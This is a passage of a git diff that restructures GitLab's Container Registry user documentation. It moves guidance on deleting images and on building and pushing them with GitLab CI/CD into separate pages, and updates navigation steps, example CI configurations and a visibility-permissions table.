fetch + the image that was just built. This step is especially important if you are + using multiple runners that cache images locally. + + If you use the Git SHA in your image tag, each job is unique and you + should never have a stale image. However, it's still possible to have a + stale image if you rebuild a given commit after a dependency has changed. +- Don't build directly to the `latest` tag because multiple jobs may be + happening simultaneously. + +## Use GitLab CI/CD + +You can use [GitLab CI/CD](../../../ci/yaml/index.md) to build and push container images to the +Container Registry. You can use CI/CD to test, build, and deploy your project from the container +image you created. + +### Use a Docker-in-Docker container image from your Container Registry + +You can use your own container images for Docker-in-Docker. + +1. Set up [Docker-in-Docker](../../../ci/docker/using_docker_build.md#use-docker-in-docker). +1. Update the `image` and `service` to point to your registry. +1. Add a service [alias](../../../ci/services/index.md#available-settings-for-services). + +Your `.gitlab-ci.yml` should look similar to this: + +```yaml +build: + image: $CI_REGISTRY/group/project/docker:20.10.16 + services: + - name: $CI_REGISTRY/group/project/docker:20.10.16-dind + alias: docker + stage: build + script: + - docker build -t my-docker-image . + - docker run my-docker-image /script/to/run/tests +``` + +If you forget to set the service alias, the container image can't find the `dind` service, +and an error like the following is shown: + +```plaintext +error during connect: Get http://docker:2376/v1.39/info: dial tcp: lookup docker on 192.168.0.1:53: no such host +``` + +### Use a Docker-in-Docker container image with Dependency Proxy + +You can use your own container images with Dependency Proxy. + +1. Set up [Docker-in-Docker](../../../ci/docker/using_docker_build.md#use-docker-in-docker). +1. Update the `image` and `service` to point to your registry. +1. Add a service [alias](../../../ci/services/index.md#available-settings-for-services). + +Your `.gitlab-ci.yml` should look similar to this: + +```yaml +build: + image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/docker:20.10.16 + services: + - name: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/docker:18.09.7-dind + alias: docker + stage: build + script: + - docker build -t my-docker-image . + - docker run my-docker-image /script/to/run/tests +``` + +If you forget to set the service alias, the container image can't find the `dind` service, +and an error like the following is shown: + +```plaintext +error during connect: Get http://docker:2376/v1.39/info: dial tcp: lookup docker on 192.168.0.1:53: no such host +``` + +## Container Registry examples with GitLab CI/CD + +If you're using Docker-in-Docker on your runners, your `.gitlab-ci.yml` file should look similar to this: + +```yaml +build: + image: docker:20.10.16 + stage: build + services: + - docker:20.10.16-dind + script: + - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY + - docker build -t $CI_REGISTRY/group/project/image:latest . + - docker push $CI_REGISTRY/group/project/image:latest +``` + +You can use [CI/CD variables](../../../ci/variables/index.md) in your `.gitlab-ci.yml` file. For example: + +```yaml +build: + image: docker:20.10.16 + stage: build + services: + - docker:20.10.16-dind + variables: + IMAGE_TAG: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG + script: + - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY + - docker build -t $IMAGE_TAG . + - docker push $IMAGE_TAG +``` + +In this example, `$CI_REGISTRY_IMAGE` resolves to the address of the registry tied +to this project. `$CI_COMMIT_REF_NAME` resolves to the branch or tag name, which +can contain forward slashes. Image tags can't contain forward slashes. Use +`$CI_COMMIT_REF_SLUG` as the image tag. You can declare the variable, `$IMAGE_TAG`, +combining `$CI_REGISTRY_IMAGE` and `$CI_REGISTRY_IMAGE` to save some typing in the +`script` section. + +This example splits the tasks into 4 pipeline stages, including two tests that run in parallel. The `build` is stored in the container +registry and used by subsequent stages, downloading the container image when needed. Changes to `main` also get tagged as +`latest` and deployed using an application-specific deploy script: + +```yaml +image: docker:20.10.16 +services: + - docker:20.10.16-dind + +stages: + - build + - test + - release + - deploy + +variables: + # Use TLS https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#tls-enabled + DOCKER_HOST: tcp://docker:2376 + DOCKER_TLS_CERTDIR: "/certs" + CONTAINER_TEST_IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG + CONTAINER_RELEASE_IMAGE: $CI_REGISTRY_IMAGE:latest + +before_script: + - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY + +build: + stage: build + script: + - docker build --pull -t $CONTAINER_TEST_IMAGE . + - docker push $CONTAINER_TEST_IMAGE + +test1: + stage: test + script: + - docker pull $CONTAINER_TEST_IMAGE + - docker run $CONTAINER_TEST_IMAGE /script/to/run/tests + +test2: + stage: test + script: + - docker pull $CONTAINER_TEST_IMAGE + - docker run $CONTAINER_TEST_IMAGE /script/to/run/another/test + +release-image: + stage: release + script: + - docker pull $CONTAINER_TEST_IMAGE + - docker tag $CONTAINER_TEST_IMAGE $CONTAINER_RELEASE_IMAGE + - docker push $CONTAINER_RELEASE_IMAGE + only: + - main + +deploy: + stage: deploy + script: + - ./deploy.sh + only: + - main + environment: production +``` + +NOTE: +This example explicitly calls `docker pull`. If you prefer to implicitly pull the container image using `image:`, +and use either the [Docker](https://docs.gitlab.com/runner/executors/docker.html) or [Kubernetes](https://docs.gitlab.com/runner/executors/kubernetes.html) executor, +make sure that [`pull_policy`](https://docs.gitlab.com/runner/executors/docker.html#how-pull-policies-work) is set to `always`. diff --git a/doc/user/packages/container_registry/delete_container_registry_images.md b/doc/user/packages/container_registry/delete_container_registry_images.md new file mode 100644 index 00000000000..9adb9313f09 --- /dev/null +++ b/doc/user/packages/container_registry/delete_container_registry_images.md @@ -0,0 +1,117 @@ +--- +stage: Package +group: Container Registry +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Delete container images from the Container Registry **(FREE)** + +You can delete container images from your Container Registry. + +WARNING: +Deleting container images is a destructive action and can't be undone. To restore +a deleted container image, you must rebuild and re-upload it. + +Deleting a container image on self-managed instances doesn't free up storage space, it only marks the image +as eligible for deletion. To actually delete unreferenced container images and recover storage space, administrators +must run [garbage collection](../../../administration/packages/container_registry.md#container-registry-garbage-collection). + +On GitLab.com, the latest version of the Container Registry includes an automatic online garbage +collector. For more information, see [this blog post](https://about.gitlab.com/blog/2021/10/25/gitlab-com-container-registry-update/). +The automatic online garbage collector is an instance-wide feature, rolling out gradually to a subset +of the user base. Some new container image repositories created from GitLab 14.5 onward are served by this +new version of the Container Registry. In this new version of the Container Registry, layers that aren't +referenced by any image manifest, and image manifests that have no tags and aren't referenced by another +manifest (such as multi-architecture images), are automatically scheduled for deletion after 24 hours if +left unreferenced. + +## Use the GitLab UI + +To delete container images using the GitLab UI: + +1. On the top bar, select **Main menu**, and: + - For a project, select **Projects** and find your project. + - For a group, select **Groups** and find your group. +1. On the left sidebar, select **Packages and registries > Container Registry**. +1. From the **Container Registry** page, you can select what you want to delete, + by either: + + - Deleting the entire repository, and all the tags it contains, by selecting + the red **{remove}** **Trash** icon. + - Navigating to the repository, and deleting tags individually or in bulk + by selecting the red **{remove}** **Trash** icon next to the tag you want + to delete. + +1. In the dialog box, select **Remove tag**. + +## Use the GitLab API + +You can use the API to automate the process of deleting container images. For more +information, see the following endpoints: + +- [Delete a Registry repository](../../../api/container_registry.md#delete-registry-repository) +- [Delete an individual Registry repository tag](../../../api/container_registry.md#delete-a-registry-repository-tag) +- [Delete Registry repository tags in bulk](../../../api/container_registry.md#delete-registry-repository-tags-in-bulk) + +## Use GitLab CI/CD + +NOTE: +GitLab CI/CD doesn't provide a built-in way to remove your container images. This example uses a +third-party tool called [reg](https://github.com/genuinetools/reg) that talks to the GitLab Registry API. +For assistance with this third-party tool, see [the issue queue for reg](https://github.com/genuinetools/reg/issues). + +The following example defines two stages: `build`, and `clean`. The `build_image` job builds a container +image for the branch, and the `delete_image` job deletes it. The `reg` executable is downloaded and used to +remove the container image matching the `$CI_PROJECT_PATH:$CI_COMMIT_REF_SLUG` +[predefined CI/CD variable](../../../ci/variables/predefined_variables.md). + +To use this example, change the `IMAGE_TAG` variable to match your needs. + +```yaml +stages: + - build + - clean + +build_image: + image: docker:20.10.16 + stage: build + services: + - docker:20.10.16-dind + variables: + IMAGE_TAG: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG + script: + - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY + - docker build -t $IMAGE_TAG . + - docker push $IMAGE_TAG + only: + - branches + except: + - main + +delete_image: + before_script: + - curl --fail --show-error --location "https://github.com/genuinetools/reg/releases/download/v$REG_VERSION/reg-linux-amd64" --output ./reg + - echo "$REG_SHA256 ./reg" | sha256sum -c - + - chmod a+x ./reg + image: curlimages/curl:7.86.0 + script: + - ./reg rm -d --auth-url $CI_REGISTRY -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $IMAGE_TAG + stage: clean + variables: + IMAGE_TAG: $CI_PROJECT_PATH:$CI_COMMIT_REF_SLUG + REG_SHA256: ade837fc5224acd8c34732bf54a94f579b47851cc6a7fd5899a98386b782e228 + REG_VERSION: 0.16.1 + only: + - branches + except: + - main +``` + +NOTE: +You can download the latest `reg` release from [the releases page](https://github.com/genuinetools/reg/releases), then update +the code example by changing the `REG_SHA256` and `REG_VERSION` variables defined in the `delete_image` job. + +## Use a cleanup policy + +You can create a per-project [cleanup policy](reduce_container_registry_storage.md#cleanup-policy) to ensure older tags and +images are regularly removed from the Container Registry. diff --git a/doc/user/packages/container_registry/index.md b/doc/user/packages/container_registry/index.md index 4b4d6190dc2..c3790c252cc 100644 --- a/doc/user/packages/container_registry/index.md +++ b/doc/user/packages/container_registry/index.md @@ -8,84 +8,86 @@ info: To determine the technical writer assigned to the Stage/Group associated w > Searching by image repository name was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31322) in GitLab 13.0. -NOTE: -If you pull container images from Docker Hub, you can use the [GitLab Dependency Proxy](../dependency_proxy/index.md#use-the-dependency-proxy-for-docker-images) -to avoid rate limits and speed up your pipelines. - -With the Docker Container Registry integrated into GitLab, every GitLab project can -have its own space to store its Docker images. +You can use the integrated Container Registry to store container images for each GitLab project -You can read more about Docker Registry at <https://docs.docker.com/registry/introduction/>. +To enable the Container Registry for your GitLab instance, see the [administrator documentation](../../../administration/packages/container_registry.md). -This document is the user guide. To learn how to enable the Container -Registry for your GitLab instance, visit the -[administrator documentation](../../../administration/packages/container_registry.md). +NOTE: +If you pull Docker container images from Docker Hub, you can use the +[GitLab Dependency Proxy](../dependency_proxy/index.md#use-the-dependency-proxy-for-docker-images) to avoid +rate limits and speed up your pipelines. For more information about the Docker Registry, see <https://docs.docker.com/registry/introduction/>. ## View the Container Registry You can view the Container Registry for a project or group. -1. Go to your project or group. -1. Go to **Packages and registries > Container Registry**. +1. On the top bar, select **Main menu**, and: + - For a project, select **Projects** and find your project. + - For a group, select **Groups** and find your group. +1. On the left sidebar, select **Packages and registries > Container Registry**. -You can search, sort, filter, and [delete](#delete-images-using-the-gitlab-ui) -containers on this page. You can share a filtered view by copying the URL from your browser. +You can search, sort, filter, and [delete](delete_container_registry_images.md#use-the-gitlab-ui) + your container images. You can share a filtered view by copying the URL from your browser. -Only members of the project or group can access a private project's Container Registry. -Images downloaded from a private registry may be [available to other users in a shared runner](https://docs.gitlab.com/runner/security/index.html#usage-of-private-docker-images-with-if-not-present-pull-policy). +Only members of the project or group can access the Container Registry for a private project. +Container images downloaded from a private registry may be [available to other users in a shared runner](https://docs.gitlab.com/runner/security/index.html#usage-of-private-docker-images-with-if-not-present-pull-policy). -If a project is public, so is the Container Registry. +If a project is public, the Container Registry is also public. -### View the tags of a specific image +### View the tags of a specific container image in the Container Registry You can use the Container Registry **Tag Details** page to view a list of tags associated with a given container image: -1. Go to your project or group. -1. Go to **Packages and registries > Container Registry**. -1. Select the container image you are interested in. +1. On the top bar, select **Main menu**, and: + - For a project, select **Projects** and find your project. + - For a group, select **Groups** and find your group. +1. On the left sidebar, select **Packages and registries > Container Registry**. +1. Select your container image. You can view details about each tag, such as when it was published, how much storage it consumes, and the manifest and configuration digests. -You can search, sort (by tag name), filter, and [delete](#delete-images-using-the-gitlab-ui) +You can search, sort (by tag name), filter, and [delete](delete_container_registry_images.md#use-the-gitlab-ui) tags on this page. You can share a filtered view by copying the URL from your browser. -## Use images from the Container Registry +## Use container images from the Container Registry -To download and run a container image hosted in the GitLab Container Registry: +To download and run a container image hosted in the Container Registry: -1. Copy the link to your container image: - - Go to your project or group's **Packages and registries > Container Registry** - and find the image you want. - - Next to the image name, select **Copy**. +1. On the top bar, select **Main menu**, and: + - For a project, select **Projects** and find your project. + - For a group, select **Groups** and find your group. +1. On the left sidebar, select **Packages and registries > Container Registry**. +1. Find the container image you want to work with and select **Copy**.  -1. Use `docker run` with the image link: +1. Use `docker run` with the copied link: ```shell docker run [options] registry.example.com/group/project/image [arguments] ``` -[Authentication](#authenticate-with-the-container-registry) is needed to download images from a private repository. +NOTE: +You must [authenticate with the container registry](authenticate_with_container_registry.md) to download +container images from a private repository. -For more information on running Docker containers, visit the -[Docker documentation](https://docs.docker.com/get-started/). +For more information on running container images, visit the [Docker documentation](https://docs.docker.com/get-started/). -## Image naming convention +## Naming convention for your container images -Images follow this naming convention: +Your container images must follow this naming convention: ```plaintext <registry URL>/<namespace>/<project>/<image> ``` -If your project is `gitlab.example.com/mynamespace/myproject`, for example, -then your image must be named `gitlab.example.com/mynamespace/myproject` at a minimum. +For example, if your project is `gitlab.example.com/mynamespace/myproject`, +then your container image must be named `gitlab.example.com/mynamespace/myproject`. -You can append additional names to the end of an image name, up to two levels deep. +You can append additional names to the end of a container image name, up to two levels deep. -For example, these are all valid image names for images in the project named `myproject`: +For example, these are all valid names for container images in the project named `myproject`: ```plaintext registry.example.com/mynamespace/myproject:some-tag @@ -99,399 +101,12 @@ registry.example.com/mynamespace/myproject/image:latest registry.example.com/mynamespace/myproject/my/image:rc1 ``` -## Authenticate with the Container Registry - -To authenticate with the Container Registry, you can use a: - -- [Personal access token](../../profile/personal_access_tokens.md). -- [Deploy token](../../project/deploy_tokens/index.md). -- [Project access token](../../project/settings/project_access_tokens.md). -- [Group access token](../../group/settings/group_access_tokens.md). - -All of these require the minimum scope to be: - -- For read (pull) access, `read_registry`. -- For write (push) access, `write_registry` & `read_registry`. - -To authenticate, run the `docker` command. For example: - - ```shell - docker login registry.example.com -u <username> -p <token> - ``` - -## Build and push images by using Docker commands - -Before you can build and push images, you must [authenticate](#authenticate-with-the-container-registry) with the Container Registry. - -To build and push to the Container Registry: - -1. Authenticate with the Container Registry. - -1. Run the command to build or push. For example, to build: - - ```shell - docker build -t registry.example.com/group/project/image . - ``` - - Or to push: - - ```shell - docker push registry.example.com/group/project/image - ``` - -To view these commands, go to your project's **Packages and registries > Container Registry**. - -## Build and push by using GitLab CI/CD - -Use [GitLab CI/CD](../../../ci/yaml/index.md) to build and push images to the -Container Registry. Use it to test, build, and deploy your project from the Docker -image you created. - -### Authenticate by using GitLab CI/CD - -Before you can build and push images by using GitLab CI/CD, you must authenticate with the Container Registry. - -To use CI/CD to authenticate, you can use: - -- The `CI_REGISTRY_USER` CI/CD variable. - - This variable has read-write access to the Container Registry and is valid for - one job only. Its password is also automatically created and assigned to `CI_REGISTRY_PASSWORD`. - - ```shell - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY - ``` - -- A [CI job token](../../../ci/jobs/ci_job_token.md). - - ```shell - docker login -u $CI_REGISTRY_USER -p $CI_JOB_TOKEN $CI_REGISTRY - ``` - -- A [deploy token](../../project/deploy_tokens/index.md#gitlab-deploy-token) with the minimum scope of: - - For read (pull) access, `read_registry`. - - For write (push) access, `write_registry`. - - ```shell - docker login -u $CI_DEPLOY_USER -p $CI_DEPLOY_PASSWORD $CI_REGISTRY - ``` - -- A [personal access token](../../profile/personal_access_tokens.md) with the minimum scope of: - - For read (pull) access, `read_registry`. - - For write (push) access, `write_registry`. - - ```shell - docker login -u <username> -p <access_token> $CI_REGISTRY - ``` - -### Configure your `.gitlab-ci.yml` file - -You can configure your `.gitlab-ci.yml` file to build and push images to the Container Registry. - -- If multiple jobs require authentication, put the authentication command in the `before_script`. -- Before building, use `docker build --pull` to fetch changes to base images. It takes slightly - longer, but it ensures your image is up-to-date. -- Before each `docker run`, do an explicit `docker pull` to fetch - the image that was just built. This step is especially important if you are - using multiple runners that cache images locally. - - If you use the Git SHA in your image tag, each job is unique and you - should never have a stale image. However, it's still possible to have a - stale image if you rebuild a given commit after a dependency has changed. -- Don't build directly to the `latest` tag because multiple jobs may be - happening simultaneously. - -### Container Registry examples with GitLab CI/CD - -If you're using Docker-in-Docker on your runners, this is how your `.gitlab-ci.yml` -should look: - -```yaml -build: - image: docker:20.10.16 - stage: build - services: - - docker:20.10.16-dind - script: - - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY - - docker build -t $CI_REGISTRY/group/project/image:latest . - - docker push $CI_REGISTRY/group/project/image:latest -``` - -You can also make use of [other CI/CD variables](../../../ci/variables/index.md) to avoid hard-coding: - -```yaml -build: - image: docker:20.10.16 - stage: build - services: - - docker:20.10.16-dind - variables: - IMAGE_TAG: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG - script: - - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY - - docker build -t $IMAGE_TAG . - - docker push $IMAGE_TAG -``` - -In this example, `$CI_REGISTRY_IMAGE` resolves to the address of the registry tied -to this project. `$CI_COMMIT_REF_NAME` resolves to the branch or tag name, which -can contain forward slashes. Image tags can't contain forward slashes. Use -`$CI_COMMIT_REF_SLUG` as the image tag. You can declare the variable, `$IMAGE_TAG`, -combining `$CI_REGISTRY_IMAGE` and `$CI_REGISTRY_IMAGE` to save some typing in the -`script` section. - -Here's a more elaborate example that splits up the tasks into 4 pipeline stages, -including two tests that run in parallel. The `build` is stored in the container -registry and used by subsequent stages, downloading the image -when needed. Changes to `main` also get tagged as `latest` and deployed using -an application-specific deploy script: - -```yaml -image: docker:20.10.16 -services: - - docker:20.10.16-dind - -stages: - - build - - test - - release - - deploy - -variables: - # Use TLS https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#tls-enabled - DOCKER_HOST: tcp://docker:2376 - DOCKER_TLS_CERTDIR: "/certs" - CONTAINER_TEST_IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG - CONTAINER_RELEASE_IMAGE: $CI_REGISTRY_IMAGE:latest - -before_script: - - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY - -build: - stage: build - script: - - docker build --pull -t $CONTAINER_TEST_IMAGE . - - docker push $CONTAINER_TEST_IMAGE - -test1: - stage: test - script: - - docker pull $CONTAINER_TEST_IMAGE - - docker run $CONTAINER_TEST_IMAGE /script/to/run/tests - -test2: - stage: test - script: - - docker pull $CONTAINER_TEST_IMAGE - - docker run $CONTAINER_TEST_IMAGE /script/to/run/another/test - -release-image: - stage: release - script: - - docker pull $CONTAINER_TEST_IMAGE - - docker tag $CONTAINER_TEST_IMAGE $CONTAINER_RELEASE_IMAGE - - docker push $CONTAINER_RELEASE_IMAGE - only: - - main - -deploy: - stage: deploy - script: - - ./deploy.sh - only: - - main - environment: production -``` - -NOTE: -This example explicitly calls `docker pull`. If you prefer to implicitly pull the -built image using `image:`, and use either the [Docker](https://docs.gitlab.com/runner/executors/docker.html) -or [Kubernetes](https://docs.gitlab.com/runner/executors/kubernetes.html) executor, -make sure that [`pull_policy`](https://docs.gitlab.com/runner/executors/docker.html#how-pull-policies-work) -is set to `always`. - -### Using a Docker-in-Docker image from your Container Registry - -To use your own Docker images for Docker-in-Docker, follow these steps -in addition to the steps in the -[Docker-in-Docker](../../../ci/docker/using_docker_build.md#use-docker-in-docker) section: - -1. Update the `image` and `service` to point to your registry. -1. Add a service [alias](../../../ci/services/index.md#available-settings-for-services). - -Below is an example of what your `.gitlab-ci.yml` should look like: - -```yaml -build: - image: $CI_REGISTRY/group/project/docker:20.10.16 - services: - - name: $CI_REGISTRY/group/project/docker:20.10.16-dind - alias: docker - stage: build - script: - - docker build -t my-docker-image . - - docker run my-docker-image /script/to/run/tests -``` - -If you forget to set the service alias, the `docker:20.10.16` image is unable to find the -`dind` service, and an error like the following is thrown: - -```plaintext -error during connect: Get http://docker:2376/v1.39/info: dial tcp: lookup docker on 192.168.0.1:53: no such host -``` - -### Using a Docker-in-Docker image with Dependency Proxy - -To use your own Docker images with Dependency Proxy, follow these steps -in addition to the steps in the -[Docker-in-Docker](../../../ci/docker/using_docker_build.md#use-docker-in-docker) section: - -1. Update the `image` and `service` to point to your registry. -1. Add a service [alias](../../../ci/services/index.md#available-settings-for-services). - -Below is an example of what your `.gitlab-ci.yml` should look like: - -```yaml -build: - image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/docker:20.10.16 - services: - - name: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/docker:18.09.7-dind - alias: docker - stage: build - script: - - docker build -t my-docker-image . - - docker run my-docker-image /script/to/run/tests -``` - -If you forget to set the service alias, the `docker:20.10.16` image is unable to find the -`dind` service, and an error like the following is thrown: - -```plaintext -error during connect: Get http://docker:2376/v1.39/info: dial tcp: lookup docker on 192.168.0.1:53: no such host -``` - -## Delete images - -You can delete images from your Container Registry in multiple ways. - -WARNING: -Deleting images is a destructive action and can't be undone. To restore -a deleted image, you must rebuild and re-upload it. - -On self-managed instances, deleting an image doesn't free up storage space - it only marks the image -as eligible for deletion. To actually delete images and recover storage space, in case they're -unreferenced, administrators must run [garbage collection](../../../administration/packages/container_registry.md#container-registry-garbage-collection). - -On GitLab.com, the latest version of the Container Registry includes an automatic online garbage -collector. For more information, see [this blog post](https://about.gitlab.com/blog/2021/10/25/gitlab-com-container-registry-update/). -The automatic online garbage collector is an instance-wide feature, rolling out gradually to a subset -of the user base. Some new image repositories created from GitLab 14.5 onward are served by this -new version of the Container Registry. In this new version of the Container Registry, layers that aren't -referenced by any image manifest, and image manifests that have no tags and aren't referenced by another -manifest (such as multi-architecture images), are automatically scheduled for deletion after 24 hours if -left unreferenced. - -### Delete images using the GitLab UI - -To delete images using the GitLab UI: - -1. Go to your project's or group's **Packages and registries > Container Registry**. -1. From the **Container Registry** page, you can select what you want to delete, - by either: - - - Deleting the entire repository, and all the tags it contains, by selecting - the red **{remove}** **Trash** icon. - - Navigating to the repository, and deleting tags individually or in bulk - by selecting the red **{remove}** **Trash** icon next to the tag you want - to delete. - -1. In the dialog box, select **Remove tag**. - -### Delete images using the API - -If you want to automate the process of deleting images, GitLab provides an API. For more -information, see the following endpoints: - -- [Delete a Registry repository](../../../api/container_registry.md#delete-registry-repository) -- [Delete an individual Registry repository tag](../../../api/container_registry.md#delete-a-registry-repository-tag) -- [Delete Registry repository tags in bulk](../../../api/container_registry.md#delete-registry-repository-tags-in-bulk) - -### Delete images using GitLab CI/CD - -WARNING: -GitLab CI/CD doesn't provide a built-in way to remove your images. This example -uses a third-party tool called [reg](https://github.com/genuinetools/reg) -that talks to the GitLab Registry API. You are responsible for your own actions. -For assistance with this tool, see -[the issue queue for reg](https://github.com/genuinetools/reg/issues). - -The following example defines two stages: `build`, and `clean`. The -`build_image` job builds the Docker image for the branch, and the -`delete_image` job deletes it. The `reg` executable is downloaded and used to -remove the image matching the `$CI_PROJECT_PATH:$CI_COMMIT_REF_SLUG` -[predefined CI/CD variable](../../../ci/variables/predefined_variables.md). - -To use this example, change the `IMAGE_TAG` variable to match your needs: - -```yaml -stages: - - build - - clean - -build_image: - image: docker:20.10.16 - stage: build - services: - - docker:20.10.16-dind - variables: - IMAGE_TAG: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG - script: - - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY - - docker build -t $IMAGE_TAG . - - docker push $IMAGE_TAG - only: - - branches - except: - - main - -delete_image: - before_script: - - curl --fail --show-error --location "https://github.com/genuinetools/reg/releases/download/v$REG_VERSION/reg-linux-amd64" --output ./reg - - echo "$REG_SHA256 ./reg" | sha256sum -c - - - chmod a+x ./reg - image: curlimages/curl:7.86.0 - script: - - ./reg rm -d --auth-url $CI_REGISTRY -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $IMAGE_TAG - stage: clean - variables: - IMAGE_TAG: $CI_PROJECT_PATH:$CI_COMMIT_REF_SLUG - REG_SHA256: ade837fc5224acd8c34732bf54a94f579b47851cc6a7fd5899a98386b782e228 - REG_VERSION: 0.16.1 - only: - - branches - except: - - main -``` - -NOTE: -You can download the latest `reg` release from -[the releases page](https://github.com/genuinetools/reg/releases), then update -the code example by changing the `REG_SHA256` and `REG_VERSION` variables -defined in the `delete_image` job. - -### Delete images by using a cleanup policy - -You can create a per-project [cleanup policy](reduce_container_registry_storage.md#cleanup-policy) to ensure older tags and images are regularly removed from the -Container Registry. - -## Known issues +## Move or rename Container Registry repositories -Moving or renaming existing Container Registry repositories is not supported -after you have pushed images. The images are stored in a path that matches -the repository path. To move or rename a repository with a -Container Registry, you must delete all existing images. -Community suggestions to work around this known issue have been shared in +Moving or renaming existing Container Registry repositories is not supported after you have pushed +container images. The container images are stored in a path that matches the repository path. To move +or rename a repository with a Container Registry, you must delete all existing container images. +Community suggestions to work around this known issue are shared in [issue 18383](https://gitlab.com/gitlab-org/gitlab/-/issues/18383#possible-workaround). ## Disable the Container Registry for a project @@ -500,7 +115,8 @@ The Container Registry is enabled by default. You can, however, remove the Container Registry for a project: -1. Go to your project's **Settings > General** page. +1. On the top bar, select **Main menu > Projects**. +1. On the left sidebar, select **Settings > General**. 1. Expand the **Visibility, project features, permissions** section and disable **Container Registry**. 1. Select **Save changes**. @@ -514,10 +130,11 @@ The **Packages and registries > Container Registry** entry is removed from the p By default, the Container Registry is visible to everyone with access to the project. You can, however, change the visibility of the Container Registry for a project. -See the [Container Registry visibility permissions](#container-registry-visibility-permissions) -for more details about the permissions that this setting grants to users. +For more information about the permissions that this setting grants to users, +see [Container Registry visibility permissions](#container-registry-visibility-permissions). -1. Go to your project's **Settings > General** page. +1. On the top bar, select **Main menu > Projects**. +1. On the left sidebar, select **Settings > General**. 1. Expand the section **Visibility, project features, permissions**. 1. Under **Container Registry**, select an option from the dropdown list: @@ -533,19 +150,18 @@ for more details about the permissions that this setting grants to users. ## Container Registry visibility permissions -The ability to view the Container Registry and pull images is controlled by the Container Registry's -visibility permissions. You can change this through the [visibility setting on the UI](#change-visibility-of-the-container-registry) +The ability to view the Container Registry and pull container images is controlled by the Container Registry's +visibility permissions. You can change the visibility through the [visibility setting on the UI](#change-visibility-of-the-container-registry) or the [API](../../../api/container_registry.md#change-the-visibility-of-the-container-registry). -[Other permissions](../../permissions.md) -such as updating the Container Registry and pushing or deleting images are not affected by +[Other permissions](../../permissions.md) such as updating the Container Registry and pushing or deleting container images are not affected by this setting. However, disabling the Container Registry disables all Container Registry operations. -| | | Anonymous<br/>(Everyone on internet) | Guest | Reporter, Developer, Maintainer, Owner | -| -------------------- | --------------------- | --------- | ----- | ------------------------------------------ | -| Public project with Container Registry visibility <br/> set to **Everyone With Access** (UI) or `enabled` (API) | View Container Registry <br/> and pull images | Yes | Yes | Yes | -| Public project with Container Registry visibility <br/> set to **Only Project Members** (UI) or `private` (API) | View Container Registry <br/> and pull images | No | No | Yes | -| Internal project with Container Registry visibility <br/> set to **Everyone With Access** (UI) or `enabled` (API) | View Container Registry <br/> and pull images | No | Yes | Yes | -| Internal project with Container Registry visibility <br/> set to **Only Project Members** (UI) or `private` (API) | View Container Registry <br/> and pull images | No | No | Yes | -| Private project with Container Registry visibility <br/> set to **Everyone With Access** (UI) or `enabled` (API) | View Container Registry <br/> and pull images | No | No | Yes | -| Private project with Container Registry visibility <br/> set to **Only Project Members** (UI) or `private` (API) | View Container Registry <br/> and pull images | No | No | Yes | -| Any project with Container Registry `disabled` | All operations on Container Registry | No | No | No | +| | | Anonymous<br/>(Everyone on internet) | Guest | Reporter, Developer, Maintainer, Owner | +|-------------------------------------------------------------------------------------------------------------------|-----------------------------------------------|--------------------------------------|-------|----------------------------------------| +| Public project with Container Registry visibility <br/> set to **Everyone With Access** (UI) or `enabled` (API) | View Container Registry <br/> and pull images | Yes | Yes | Yes | +| Public project with Container Registry visibility <br/> set to **Only Project Members** (UI) or `private` (API) | View Container Registry <br/> and pull images | No | No | Yes | +| Internal project with Container Registry visibility <br/> set to **Everyone With Access** (UI) or `enabled` (API) | View Container Registry <br/> and pull images | No | Yes | Yes | +| Internal project with Container Registry visibility <br/> set to **Only Project Members** (UI) or `private` (API) | View Container Registry <br/> and pull images | No | No | Yes | +| Private project with Container Registry visibility <br/> set to **Everyone With Access** (UI) or `enabled` (API) | View Container Registry <br/> and pull images | No | No | Yes | +| Private project with Container Registry visibility <br/> set to **Only Project Members** (UI) or `private` (API) | View Container Registry <br/> and pull images | No | No | Yes | +| Any project with Container Registry `disabled` | All operations on Container Registry | No | No | No | diff --git a/doc/user/packages/container_registry/reduce_container_registry_storage.md b/doc/user/packages/container_registry/reduce_container_registry_storage.md index cbf9af633ac..15948569cb8 100644 --- a/doc/user/packages/container_registry/reduce_container_registry_storage.md +++ b/doc/user/packages/container_registry/reduce_container_registry_storage.md @@ -36,7 +36,7 @@ An image layer is only counted once if: - You share the image layer across different repositories. Only layers that are referenced by tagged images are accounted for. Untagged images and any layers -referenced exclusively by them are subject to [online garbage collection](index.md#delete-images). +referenced exclusively by them are subject to [online garbage collection](delete_container_registry_images.md). Untagged images are automatically deleted after 24 hours if they remain unreferenced during that period. Image layers are stored on the storage backend in the original (usually compressed) format. This @@ -269,7 +269,7 @@ only if the number of tags being cleaned up is minimal. Here are some other options you can use to reduce the Container Registry storage used by your project: -- Use the [GitLab UI](index.md#delete-images) +- Use the [GitLab 